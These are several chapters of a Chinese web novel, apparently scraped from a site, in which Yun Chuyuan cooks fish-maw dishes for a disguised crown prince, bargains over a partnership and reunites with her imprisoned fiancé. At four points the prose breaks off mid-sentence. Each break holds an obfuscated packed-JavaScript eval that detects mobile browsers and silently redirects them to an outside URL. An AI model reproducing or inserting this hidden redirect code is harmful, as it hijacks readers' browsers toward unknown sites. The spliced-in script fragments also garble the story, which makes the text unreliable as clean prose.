燕景琰用筷子的动作逐渐放慢,状似不经意地开了口:“云小姐,你怎么想着用肥肠来做菜?” 擅长察言观色的云楚沅瞬间了然,这位贵客对肥肠起了兴趣,但是自持身份不好意思开口。 善解人意的云楚沅用帕子抹了抹嘴,有意将动作做得优雅,她微微一笑,缓缓说道:“景公子有所不知,普通百姓没有条件时常沾荤腥,便会用内脏和下水解解馋,这猪下水虽然听着不好听,但做好了,比肉还要好吃呢。” “云姐姐,你说的没错,确实比肉好吃。”宋明雅抽空回了一句,她近几日待在家里吃的荤菜来来回回就那几样,都已经吃腻了。 “表妹真会说笑,要是大肠比肉还好吃,价格又怎会差这么多呢?想必你是锦衣玉食惯了,头一回吃才会感到新鲜。”燕景琰云淡风轻地说道,如果忽视他时不时看向愈来愈少的肥肠锅的视线,也许众人会以为他是真的不想吃。 瞧着男子口是心非的样子,云楚沅突然觉得他身上那股子高高在上的气息消减了许多,仿佛就是个对新事物充满好奇的公子哥。 “雪灾令百姓们家里养的牲畜死伤无数,供应减少,即便售卖的价钱上涨,猪肉也根本抢不到,我只好退而求其次挑了些猪下水。”云楚沅叹了口气,“省下银子挺好的,正好拿去捐了。” 燕景琰觉得云楚沅的话很有道理,他如今也急需银子,何必大摆宴席,吃点粗茶淡饭得了,想到城中的灾民都是饥一顿饱一顿的,他看着满桌珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327804|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馐有些食不知味。 倘若他对百姓的疾苦无动于衷,那与说出“何不食肉糜”的人有什么差别?他又如何能成为忧国忧民、心怀天下的明君? “把这些菜给灾民们送去吧。”矜贵的太子殿下对那道肥肠彻底改观,百姓们吃得他为何吃不得?他嫌弃的东西却是许多人桌上难得的美味。 宋老爷立刻明白了太子殿下的意思,命人将没动过几筷子的菜撤了下去,将辣章鱼肥肠锅端到了燕景琰的面前,“景琰,慢用。” 云楚沅低头遮住了嘴边的笑意,三言两语就让人改变了想法,该说不说,她还挺能忽悠人的。 “嘶,这肥肠的滋味好独特,我吃着还挺香。”燕景琰端坐于桌子后方,轻轻咀嚼着,肥肠在他的齿间弹来弹去,许久才咽下。 除了燕景琰,其他人都停下了筷子,静静注视着这位贵客姿态优雅、细嚼慢咽地用饭。 午膳过后,宋明雅扶着喝大了的宋老爷离开了,留宋明轩、燕景琰和云楚沅待在大厅,云楚沅心里清楚,他们有话跟她说。 “云姑娘,听说你的未婚夫婿被冤枉了,可有此事?” 云楚沅挑了挑眉,她偷偷瞟了宋明轩一眼,却发现他没在看她,明显是不想向她透露情况。 “确有此事。”云楚沅表情坦然,一点也没表现出对未婚夫婿的担忧,让人看不出她在想什么。 云楚沅知道这位景公子主动提起裴昱臣的事,那便说明他有能力帮他们,大概是跟姚家人不对付,她大胆盲猜一手,此人是蛰伏起来韬光养晦的太子一派的。 燕景琰本想端着架子等着人来求,即便他再想与这位云小姐合作,也不能上赶着,可云楚沅久久不出声,让他有些拿不准她的态度了,莫非云小姐和裴状元的关系并不融洽? 接收到太子殿下疑惑的表情,宋明轩轻咳一声,开口说道:“云妹,景琰表哥是京城人士,家中颇有权势,你可以请他出手相助。” 云楚沅很上道,她站起身来行了一礼,“多谢景公子,只要能救出裴郎,小女子愿为您效犬马之劳。” 天下没有免费的午餐,这人既然主动要帮她,那必定是有所图谋,但云楚沅自认为没什么东西能让人觊觎的,更何况她与宋家人关系很好,她相信宋明轩不会害她。 燕景琰满意地点了点头:“云小姐,我听说了你的事迹,对你经商的手段十分佩服,不知我能否有机会与你合作呢?” 到了这个时候,云楚沅再不明白他打的什么主意那便是蠢了,绕了一大圈,原来这人是相中了她脑袋里超前的想法,亏她有一瞬间自恋的以为是自己招来了烂桃花呢。 “能跟您这样的贵人合作是我的荣幸。” 做生意需要人脉,眼前这位从京城来的贵公子应当结识不少有权有势之人,云楚沅跟他合作是共赢。 燕景琰对云楚沅的识时务很满意,他提出了自己的想法:“云记的酱料多是卖给普通百姓,请云小姐想想在京城卖什么能吸引到达官贵人。” 93. 花胶燕窝银耳羹 蟹黄酱帮云记打开了江南的市场,现在云楚沅需要推出一款产品来打开京城的市场。 云楚沅思索片刻,想起了自己带来宋家的干货,其中有一样东西是云楚沅离开临海县之前吩咐海味坊的人做的,李小硕上次一并带过来了。 “景公子,我这有一种珍贵的滋补圣品,既能养颜补血又能强健筋骨,贵人们绝对会喜欢。” 云楚沅拍了拍手,青竹将带来的箱子打开,露出里面堆叠的干货。 燕景琰闻言伸长了脖子看向箱子里的东西,晶莹透亮,宛如凝脂。 云楚沅伸出纤细的手指拈起一块,展示给燕景琰看,“此乃鱼胶,又名花胶,取自深海鱼的鱼鳔,经多道繁杂工序精心制成,乃是滋补养生之物。” “景公子,我手里的黄唇鱼胶是上等品,跟水晶一样漂亮,熬出来的浓汤味道纯正,常食此物好处还有很多……” 此刻的云楚沅化身专业推销员,滔滔不绝地阐述鱼胶的优先,“此物性温平和,质地纯净,无论煲汤还是入药膳,皆能将养分缓缓渗入脏腑之中。” 燕景琰被她说得心动,接过鱼胶仔细端详了一番,观赏其纹理与质感,时不时点头,“倘若这东西真有你说的那么好,那它日后必定会成为京中贵人们争抢的稀罕物。” 云楚沅轻轻颔首,嘴角勾起一抹浅笑,“公子稍等片刻,我亲自下厨,为您烹饪几道以鱼胶为主的佳肴,待会儿呈上来,您可以品尝到鱼胶的美妙滋味。” 在旁边听了半天的宋家人也被勾起了好奇心。 宋明雅离开座位走到云楚沅的身侧,拿起一块干瘪的鱼胶忍不住咽了咽口水,只听云楚沅的描述,这块干巴巴的东西在她眼里都变得眉清目秀起来,“云姐姐,我已经等不及要尝尝你做的吃食了。” 宋明轩起身说道:“云妹,有什么需要的,尽管吩咐。” 云楚沅借用了宋家的膳房,开始熬制胶原蛋白丰富的花胶燕窝银耳羹,燕窝和银耳这两样珍贵的补品是宋老爷提供的,宋家有钱,不缺这些好东西。 花胶、燕窝和银耳洗干净后放进水里泡发,它们吸水膨胀后,变得更加柔软。 弯曲的花胶舒展开,摸起来弹性十足;丝丝缕缕的燕窝干净无瑕,在水中飘荡;摘去根部的银耳撕成小块,像是一朵朵白花。 除此之外,还有红枣、莲子、枸杞作为它们的搭档,所有食材准备就绪,云楚沅将它们一起放入炖盅,在加上糖和清水,盖上盖子小火慢炖。 “云姐姐,我来陪你了。”宋明雅背着手,蹦蹦跳跳地闯进了膳房,围在忙碌的云楚沅身边打转。 云楚沅前脚刚走,宋明雅后脚就被宋老爷赶了出来,他们三个男人要商量重要的事,不许她听,宋明雅乐得自在,立马便跑出来寻云楚沅来了。 云楚沅一转身和包裹严重的宋明雅撞了个正着,软乎乎的团子没把她撞疼,但属实有些碍事。 “小祖宗,姐姐忙着呢,你先在旁边老实坐一会,待会我给你奖励。”云楚沅搬了个小凳子让宋明雅坐在稍远一点的地方,轻轻刮了刮她的鼻子。 小小年纪的宋明雅在云楚沅的眼中还是个没长成的小女孩,没什么朋友才会这么喜欢黏着她,云楚沅不介意耐心地哄一哄她。 “好,云姐姐,我会听话的。”宋明雅双手放在膝盖上乖巧坐好,身子挺得笔直,滴溜溜的黑眼珠追随着云楚沅的身影,看着她在灶台前忙活,没有再上前打扰。 云楚沅将下人处理干净的老母鸡放进砂锅里,清水没过鸡的全身,投进几块葱姜,把砂锅端到火炉上炖煮,水开后用勺子撇去浮沫,而后加入淡黄色的鱼胶和几颗红枣、枸杞。 趁着银耳羹和鸡汤在熬煮的工夫,云楚沅打算做一道甜品,鱼胶可以做凝固剂使用,她打算用花胶、红豆和牛乳做红豆花胶奶冻。 锅中的牛乳加上糖熬煮,待里面的糖融化后,再加入切碎的花胶,在此期间云楚沅用勺子不停搅动,防止粘锅。 花胶渐渐变得半透明,云楚沅见煮的时间差不多了,便将锅中的液体倒进一个个瓷碗中,等其冷却凝固。 一个时辰后,热汽顺着锅盖边袅袅升起,砂锅里“咕嘟咕嘟”冒着泡,膳房里的香味非常浓郁,云楚沅往花胶炖鸡汤放了点干贝提升鲜味。 “哇,好神奇啊,牛乳凝住了,云姐姐你还会变戏法吗?”宋明雅趴在桌边,发出一声声惊叹,她用勺子背面轻轻敲着奶冻的表面,看着碗中白乎乎的奶冻晃动的模样,蓦然睁大了双眼。 旁边的云楚沅端着一小盆熬好的红豆沙,挨个盛一勺淋在奶冻上面,瞧宋明雅傻乎乎的表情,忍不住用手戳了戳她肥嘟嘟的脸蛋,“不是什么戏法,这是加了鱼胶的缘故,鱼胶能让牛乳凝固。” 尽管云楚沅给出了解释,也挡不住宋明雅对她波涛汹涌的崇拜之情,她双手捧住脸,看向云楚沅的眼神满是着迷,“云姐姐,你是在这世上我最最最仰慕的人,连我爹爹和兄长都要往后靠。” 看着宋明雅一副小迷妹的样子,云楚沅笑着摇了摇头。 同一时间,花胶燕窝银耳羹也熬好了,云楚沅揭开锅盖,用勺子不停翻搅,食材在长时间熬煮下释放出了大量胶质,羹汤变得浓稠挂勺。 云楚沅盛好一碗花胶燕窝银耳羹递给坐如针毡的宋明雅,“瞧你猴急的样,呐,这是给你的奖励。” “谢谢云姐姐!”宋明雅迅速接过小碗,这香甜的气味太诱人了,让她快要坐不住了,要是云楚沅再没做好,她怕是要控制不住扑到锅上去了。 宋明雅轻轻搅动手中的花胶燕窝银耳羹,汤汁如绸缎般流淌,她吹了好一会儿,先用嘴唇轻轻试探一下,感觉不烫了,立马送入嘴里。 “哇,这是我喝过最好喝的甜汤了。”宋明雅表情陶醉,手上动作极快地用勺子舀起羹汤再倒回碗中,使其快速降温,然后捧住瓷碗沿着边小口小口饮汤。 透明软糯的花胶入口即化,丝丝滑嫩的燕窝细腻绵密,胶质丰富的银耳香甜润滑,枸杞、莲子、红枣这些辅料清甜回甘。 云楚沅同样舀了一勺羹汤送入口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340076|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那股温热顺着喉咙滑下,花胶的鲜美、燕窝的嫩滑、银耳的清甜完美融合在一起。 浑身暖洋洋的云楚沅看着窗外的雪景,幸福地眯起了眼睛,这碗花胶燕窝银耳羹就像是一名柔美佳人,在舌尖上翩翩起舞,带给人一种甜美的感觉。 “来人,将这些吃食端去正厅。” 云楚沅和宋明雅走在前头,下人们端着三样菜品跟在后面。 到了正厅,守门的侍卫通报过后,众人鱼贯而入。 “景公子,宋伯父,宋大哥,我做了三道菜,分别是花胶鸡汤、花胶燕窝银耳羹和红豆花胶奶冻。” 接着,云楚沅一一为他们介绍桌上三道菜的用料和做法,听的几人纷纷点头。 “爹爹,快开始尝吧,我在膳房喝了一碗银耳羹,还想再来一碗。”宋明雅连声催促,一想起方才那碗汤的滋味,她忍不住舔了舔嘴唇,没有哪个女子能抵挡得住甜汤的诱惑! 宋老爷表情一僵,瞪了一眼缺心眼的女儿,这个傻丫头怎么能口无遮拦地把自己偷吃的事给说了出来! 宋老爷小心翼翼地偷瞧了一眼太子殿下的脸色,见他的注意力都放在桌上的菜品上,这才悄悄松了口气。 “咳,表哥,您先用。”关键时刻还是宋明轩比较镇定,他亲自为燕景琰盛了一碗鸡汤。 诱人的金黄鸡汤表面飘着一层油花,宋明轩用筷子夹起一根鸡腿,舀上两勺热汤端到太子面前。 “多谢表弟。”燕景琰点了点头,轻轻一撕,骨头上的鸡腿肉便脱落下来,鸡肉很嫩,在嘴里一抿就化,再尝一口汤,比起以往喝过的鸡汤,这道花胶鸡汤的味道更鲜、更醇厚,滑过喉间有明显的粘稠感却不腻人。 宋明轩见太子用完鸡汤后什么话也没说,没看出来他的意思,便为自己的父亲各盛了一碗准备尝尝味道,至于小妹,根本用不着他操心,她可是一点都不客气,已经吃到第二碗了。 宋老爷接过碗尝了一口,眼睛登时亮了起来,竖起大拇指对着云楚沅连连称赞,一时间想不出华丽的辞藻,只会说“好喝好喝”。 云楚沅看着宋老爷和宋明雅的同款表情,忍不住笑了笑,不愧是父女俩,吃到好吃的,都会两眼放光。 燕景琰自持身份,没像宋家人那样直白夸赞,但他和缓的脸色以及嘴角的笑意,都传达出了他的满意。 宋明轩见状,悬着的心放进了肚子里,他又为太子盛了一碗清澈的羹汤,上面漂浮着如云般的花胶和银耳,燕窝、红枣伴随其中,枸杞和莲子若隐若现。 太子拿起银匙舀起羹汤送入口中,慢慢咀嚼着不同口感的食材,尝到甜味,他的眉毛立马舒展,脸上难掩喜色,原本端着的架子立马垮了,“入口顺滑,汤汁黏稠,甜而不腻,妙哉。” 谁能想到尝遍山珍海味的太子殿下有一个不为人知的秘密,嗜甜。 为了不被人说三道四,燕景琰往常用膳都十分克制,从来不会主动让御厨做甜食,可尝到花胶燕窝银耳羹他心中的情绪仿佛是打开了闸口般一股脑涌了出来。 94. 承诺 吃到心仪的甜食,太子殿下的眉头渐渐舒缓,就连因为姚党步步紧逼而郁结的心情都好了许多。 接着,他又将目光落在旁边精致的红豆花胶奶冻上,眼神骤然亮起,嫩滑的奶冻如同琼脂白玉,上面点缀的红豆颗颗饱满,色泽像是红宝石一般漂亮。 淡淡的牛乳香伴随着豆沙甜腻的香味钻进鼻孔,瞬间勾起了燕景琰肚子里的馋虫,他不动声色地深吸了两口气,宛如上瘾一般陶醉。 坐在太子对面的云楚沅嘴角微勾,她好像发现了大秘密,这位尊贵的客人貌似对甜品毫无抵抗力,他此刻的模样就像是吸到猫薄荷的猫似的,就差把脸埋上去了。 迫不及待的燕景琰轻轻舀了一勺奶冻,弹性十足的奶冻躺在银匙上颤颤巍巍,仿佛在邀请人快点品尝它。 奶冻送入口中的瞬间,浓郁的奶香率先在舌苔上散开,然后是花胶的细腻嫩滑,如同丝绸般滑过喉咙,而绵密香甜的红豆沙更是点睛之笔,咀嚼的时候满嘴甜蜜,还能尝到颗粒感。 燕景琰情不自禁地眯起眼睛细细品味,嘴角微微上扬,他一连吃了几口,仍是意犹未尽。 旁边的宋明轩这才注意到太子殿下的举动,他连忙将自己未曾动过的奶冻推到燕景琰面前,“表哥,我不爱吃甜的,给你吧。” “咳,不必了,我也……”燕景琰神色微窘,暗中懊恼自己吃得忘乎所以,让人瞧出了喜好,他轻咳一声,刚想忍痛拒绝,对面的云楚沅开口了。 “公子见谅,牛乳不太多了,只能做出每人一小碗的份,你若是没吃好,我的这份也给你吧。毕竟咱们还要合作,你肯定要多方面品评我的产品,浅尝辄止怕是不够。”云楚沅一本正经地让丫鬟将自己的那份端过去,严肃的表情仿佛特别在意这次的合作。 燕景琰面色放缓,心里也在说服自己,没错,他不是贪吃,而是在品评云姑娘做出来的东西的好坏,只尝一碗确实没尝出什么滋味。 “咳咳,云姑娘言之有理,既然你如此看重我们的合作,我也该认真对待,待我多尝尝再下结论。” 太子殿下板着脸,郑重其事地端起新一碗奶冻,慎重的态度像是要完成什么举足轻重的大事。 云楚沅小嘴抿成一条直线,手指使劲掐住自己的大腿,脸颊憋的通红,生怕自己忍不住笑出声来。 这位贵客也太逗了,明明对她做的甜品喜欢的不得了,却还要嘴硬着推拒,贵公子都这么好面子吗?作为温柔体贴的乙方,她肯定要给合作对象一个台阶下。 燕景琰松了口气,他的名声保住了,还好他们都没看出来自己隐秘的喜好。 在场的宋老爷、宋明轩还有云楚沅,哪个不是人精?他们配合着装出若无其事的样子,只不过是看破不说破。 接下来,燕景琰每一口都吃得极为认真,毕竟吃一口少一口,下回再吃到这么符合心意的甜品不知道要到什么时候了。 想到这里,燕景琰心中一动,他要赶紧把裴状元从大牢里捞出来,好好提拔他,让裴状元早日升迁回京。 到那时他再示意云姑娘在京城开一家甜食铺子,这样一来他岂不是想什么时候吃就能什么时候吃? 燕景琰觉得自己可真是太聪慧了,这样一举多得的好方法都能让他想出来! 裴状元和云姑娘两人一个为官、一个从商,这对夫妻命中注定是要为他做事的,燕景琰身心舒畅,这趟江南算是没白来。 低头喝汤的云楚沅打了个激灵,她茫然地扯了扯垂落胸前的长发,她方才有种莫名其妙的感觉,就好像被人盯上了似的。 燕景琰咽下最后一口奶冻,不着痕迹地舔了舔嘴唇,回味着美妙的滋味。 “此等佳肴,不在京城售卖实在可惜,云姑娘,我们商量一下合作的事宜吧。” 谈起生意,云楚沅连忙挺起腰板、正襟危坐,和这位京城来的贵公子你来我往提出各自的要求。 “云姑娘,我可以提供铺子、安排管事,并且命人在京中大肆宣传云记海味坊,别的你都不用操心,只需要提供货物,这利润嘛,我拿八成。”燕景琰手里能用的人不少,他缺的是银子,只要能赚钱,其他任何事都不成问题。 云楚沅皱了皱眉头,虽然景公子大包大揽,让她做个甩手掌柜她挺满意的,毕竟她名下还有临海县和江南的铺子要管,分不出那么多精力,可只拿两成利太少了,她有些不甘心。 “景公子,我卖的海鲜制品您也尝过了,味道绝对是独一档的,毫不夸张的说,无论我去哪里卖都能赚大把大把的银子,两成利你也太看不起我了吧。”云楚沅的语气沉了下去,意思特别明显,就是对这个分成不满意。 坐在一旁的宋老爷忍不住为云楚沅捏了一把汗,不知者无畏,这云丫头还真敢说啊,要是她知道眼前男子的真实身份,怕是要吓破了胆。 一人之下万人之上的太子殿下对此也感到新鲜,还从来没有人敢跟他争长短,就连他那位野心勃勃的二弟见了他都得维持表面的恭敬。 “云姑娘,实不相瞒,我与你合作就是想赚银子,你有别的要求尽管提,我都可以满足你。”坐在上位的燕景琰撑着额头,看向云楚沅的目光严肃中带着认真。 云楚沅轻启红唇还想再说些什么,宋明轩一声轻咳打断了她,“云妹,有些东西是银子买不到的,比如权势,再比如人脉……” 云楚沅转头看向宋明轩,注意到他用袖子遮挡住的食指比了个朝上的手势,她的心里“咯噔”一声,“上”可以指“天”,那么“天”指什么呢? 答案呼之欲出,尽管再怎么难以置信,但云楚沅回想起宋家父子对此人毕恭毕敬的态度,一切也就说得通了,怪不得宋老爷身为长辈还要坐在下头,这位公子的身份可不是一般的尊贵。 窥见景公子真实身份的云楚沅明白了,这人不姓景,应当姓燕,大燕朝的燕。 她怎么也不会想到自己有朝一日会见到这个朝代的皇家人,这感觉太不真实。 燕景琰给她的感觉太平和了,即便偶尔眼神犀利一点,她也只以为是养尊处优的大少爷起范了,云楚沅想过这人的身份会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352374|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很金贵,但没想到这么贵。 近距离接触到这个国家的太子,云楚沅有一瞬间感觉腿有点发软,随即她又想到,既然太子没表明身份,那她就继续装不知道,省得自己先露了怯。 太子又怎么样?即便是出身高贵的太子还不是被她的吃食给征服了吗? 想到这里,云楚沅刚刚升起的紧张感顿时消失了,她很快调整好表情,对着太子殿下露出一个得体的笑容。 “公子,看您气度不凡,想必家中有些权势。这样吧,我可以只拿两成利,但我希望您能应允我一个承诺。” “哦?什么承诺?”燕景琰来了兴趣,索要金银珠宝、高官厚禄的人他见多了,这要承诺的他还是头一回见。 “您有能力救裴大人一回,想必也能救第二回,这个承诺我现在还没想好,待我日后遇到困难再求您施予援手,如何?” 这是云楚沅深思熟虑过后提出的要求,在皇权至上的封建社会,一块免死金牌的价值远胜于一切。 银子可以再赚,但太子殿下的承诺那可是不可多得。 对于太子来说,只要她日后不出大事,这个虚无缥缈的承诺相当于什么也不是,他根本就不会有任何损失,而且还能平白拿那么多银子,简直是捡了大便宜。 正厅里一时间鸦雀无声,在座的几人都被云楚沅的话惊到了。 宋明轩端着茶杯的手微微颤抖,他将太子的身份透露给云楚沅本意是想提醒她说话谨慎些,却没想到她不但不收敛,反而转头地向太子殿下要承诺,她是何等的胆大妄为啊! 云楚沅的所作所为太过惊世骇俗,让宋明轩和宋老爷怔愣着说不出话来。 “呵呵,有意思,孤允了。”燕景琰抚额轻笑,这声自称代表着他承认了自己的身份,也代表着这句话的分量。 此时的燕景琰要是再看不出云楚沅已经猜出了他的身份,那他这个太子也就不用当了。 在洞悉他身份的情况下还能如此大胆,直白表述自己的要求,落在燕景琰的眼里,这名女子有勇有谋,这份胆识值得他一个承诺。 “多谢殿下。”云楚沅起身行礼,脸上并没有得偿所愿的狂喜,只是带着点浅笑,显得她清新脱俗。 燕景琰赞赏地看了她一眼:“我现在知道为何裴状元中意你这位渔村出来的女子了。” 这喜怒不形于色的气度十分难得,有多少人得到太子殿下的承诺后心绪还能平静的? 在众人看不见的角度,云楚沅把手背到身后往裙子上擦了擦掌心的汗。 唉,装成遗世独立的白莲花还真是辛苦啊,要不是怕傻呵呵的样子会给裴昱臣丢脸,她早就欢呼着围着屋子跑圈了。 云楚沅倒是不在意脸面,但裴昱臣还要继续做官,要是太子日后一见到裴昱臣就想起他有一位疯疯癫癫的娘子,那可真是闹大笑话了。 为了小书生,她牺牲太多了! 为了不让别人以为裴昱臣是被驴踢了脑门才看上她,云楚沅努力压抑住了本性,她都要被自己感动哭了! 95. 亲亲抱抱 三方会谈顺利落下帷幕,云楚沅和太子殿下都得到了自己想要的,宋家父子虽然没怎么插上话,但能促成云楚沅和太子的合作,他们宋家作为中间人那可是功不可没。 “殿下,我男人还在蹲大牢,您可别忘了把他捞出来。”临走之前,云楚沅又多提了一嘴,她可没忘记太子让人去查姚承志这事。 站在屋檐下的太子拢了拢身上的狐裘披风,似笑非笑地看了云楚沅一眼,“孤没忘,云小姐对裴状元还真是情深意切。祝你们琴瑟和鸣、百年好合,两位成亲那日孤定会送上一份大礼。” 云楚沅眼睛一亮,笑嘻嘻地开起了玩笑:“真的吗?为了您的贺礼,我也得尽早成婚。” 厚脸皮的云楚沅完全没觉得谈婚论嫁有什么不好意思的,回答起来脸不红心不跳,她的注意力全在大礼上,太子殿下给的贺礼啊,那肯定很贵重! “呵呵,云小姐真是个妙人儿。”难得遇见这么有趣的女子,燕景琰忍不住发笑。 云楚沅不像京中的大家闺秀那样端庄到如同一个模子刻出来的,她十分有主见,而且知晓他的身份也丝毫不惧,依旧心平气和地与他交谈,属实新鲜。 此刻的燕景琰不由对裴昱臣升出了一丝羡慕,有这样的佳人相伴,后半生想来不会孤独。 —— 太子的动作很快,林知府没过两日便到了,他光明正大地进了州署,把姚承志的人打了个措手不及。 此时的姚承志还躺在温柔乡里醉生梦死,被林知府带来的官兵拖进大堂时还在打呼。 “哼,我看姚大人不是来赈灾的,是来与青楼女子寻欢作乐的。” 林知府的讥讽让跪在地上的众人脸色难看,他们都是姚承志的亲信,私下也劝过他收敛一点,却被姚大人三言两语打发了。 事到如今,他们嗅到了一丝不同寻常的意味,林知府的到来让姚承志的亲信们预感不妙,像是有什么超脱掌控的事即将发生。 “来人,给姚大人醒醒酒。” 接收到林知府的指令,官兵提了桶冷水泼到了姚承志身上。 “哗啦!” “嗷!谁,是谁?是哪个不长眼的狗东西要害我!” 大冬天的,一桶冷水兜头浇下,滋味十分酸爽,浑身湿漉漉的姚承志立马从地上弹了起来,牙齿抖个不停。 “姚大人,睁大眼睛好好看看,本官是谁。” 湿发贴着惨白的脸颊不停滴落水珠,姚承志混沌的眼珠终于看清了自己身处何地,他竟站在公堂之上,而堂上坐着的人他也认识。 “林知府,你怎么来这里了?”清醒过来的姚承志瞳孔一缩,强壮镇定地试探,他隐隐察觉到了不对劲。 姓林的是太子的人,向来和他们姚家不对付,他出现在扬州可是受到了什么指示? 林知府不理会姚承志的疑问,将手里的册子丢到他的脚下,“姚大人,看看吧。” 面容严肃的林知府令姚承志忐忑不安,他瞧了眼跪在一旁的亲信,蹲下身捡起地上的册子看了起来。 越往下看越心惊,姚承志的手微微颤抖。 这本册子上罗列了他藏在别院的所有东西,全是他往日里贪污受贿得来的金银珠宝,其中就包括这次救灾的银子和粮食。 同一时间,云楚沅和孟合舟站在州署的大牢外等待。 “唉,什么话要说这么久啊。”云楚沅焦躁地来回踱步,时不时朝里面张望。 马上就要见到裴昱臣了,她的心里像揣了只小兔子一般砰砰乱跳。 孟合舟感慨道:“弟妹,你可真够能耐的,居然把太子殿下给请来了。” 他到现在还有些恍惚,天知道今早起床发现太子在等他时他有多么震惊,膝盖一弯,当场就跪下了,把太子都给吓了一跳。 “我哪有那个本事,只能说是机缘巧合,太子来江南办私事,正好被我碰上了。”云楚沅含糊其辞。 目前太子殿下住在宋家,他不想让人知道他的行踪,云楚沅自然不会随便将他和宋家人的关系透露出去。 忽然,细微的说话声说话声音从牢里传来,脚步声愈来愈近,云楚沅和孟合舟动作迅速地迎了上去。 “裴知州,你受委屈了,孤一定为你讨回公道。” “多谢殿下。” 裴昱臣的身影闯入视线,云楚沅的眼眶一下湿润了,指甲不知不觉掐进了掌心,竭力抑制住想要扑到他怀里的冲动。 云楚沅还记得周围还有旁人,她现在过去不合时宜,可自从上次一别他们已经多日未见,云楚沅无时无刻不在担心他是否在牢里受苦。 兴许是云楚沅的眼神太过热切,裴昱臣蓦然抬头看向她的方向。 对上云楚沅的泪眼,裴昱臣的脚步顿住了。 四目相对的两人就这么呆呆地望着对方,再也注意不到其他人,一时间周围都安静了下来。 “裴知州,你……”燕景琰转头刚想继续和裴昱臣说话,就看见他怔愣在原地的样子。 顺着他火热的视线望去,燕景琰看到了同样表情激动的女子,他不由摇头失笑。 “裴知州,想必你有许多话要跟云小姐说,孤先不打扰了。”燕景琰贴心地为两人留下独处的空间,带着孟合舟先一步离开。 “呆子,别人都走了,你还傻站着干嘛?”等不及的云楚沅快步走上前,嗔怪地瞪了一眼久久不语的裴昱臣。 阔别数日,这家伙就没有什么想对她说的吗?比如有没有想她什么的…… 就算不想说,那总得有点动作吧,亲亲她抱抱她也行啊。 半天等不到男人的反应,云楚沅表情委屈地撅了撅嘴,“怎么回事,你是坐牢坐傻了吗?不认得我是谁了?” 裴昱臣仔仔细细打量着眼前女子,从她头上的木簪到精致的眉眼,再到她小巧玲珑的鼻子和嘴巴,眼睛眨也不眨。 “瘦了。”裴昱臣薄唇轻启,声音带着几分沙哑,“我不在的时候,是不是没有好好用饭。” 这一瞬间,云楚沅突然很想哭,她瘪瘪嘴,张开双手环住了裴昱臣的腰,“明明是你瘦了。” 说完,云楚沅抬手捏了捏他的窄腰,仿佛想确认一下他是不是真的瘦了,在感受到裴昱臣硬邦邦的腹肌后,她才算满意。 “算你识相,有把我的东西好好保存。”云楚沅弯起手指在裴昱臣的腹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369624|177545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部轻轻挠了挠,感受到他身体的僵硬,控制不住扬起嘴角。 羽毛扫过般的痒意透过薄薄的衣料传来,裴昱臣在听到云楚沅的话时呼吸瞬间加重,他的脸以肉眼可见的速度爆红。 “咳咳,阿沅,别说了……” 云楚沅霸道地打断了他:“害羞什么?我说的有错吗?裴昱臣,我告诉你,从今以后,你的身体也是我的财产,我不允许任何人破坏,包括你自己。” 这番宣告主权的话落在裴昱臣的耳中,那便是云楚沅馋他的身子了。 即便早就知道云楚沅是想要什么会直说的真性情,但面对她如此直白的话,裴昱臣还是有些难以招架。 “阿沅,你……你再忍一忍,成亲后你想要什么我都给。”裴昱臣难为情地小声说道。 云楚沅疑惑地歪了歪头:“这还要等到成亲后?” “嗯。”裴昱臣避开云楚沅的视线,艰难地表示拒绝。 云楚沅丈二和尚摸不着头脑,她不懂但选择尊重,“行吧,成亲后就成亲后,到时候你必须听我的话。” 裴昱臣轻轻点了点头。 云楚沅满意地笑了,她还以为裴昱臣明白了她的良苦用心,承诺以后会好好珍惜自己的身体。 殊不知两人鸡同鸭讲,根本就不在一个频道上。 云楚沅左右瞧了瞧,没看见有其他人,她踮起脚尖,快速在裴昱臣的唇上蜻蜓点水般贴了贴。 “哝,这是给你的奖励。” “……”裴昱臣盯着云楚沅一言不发。 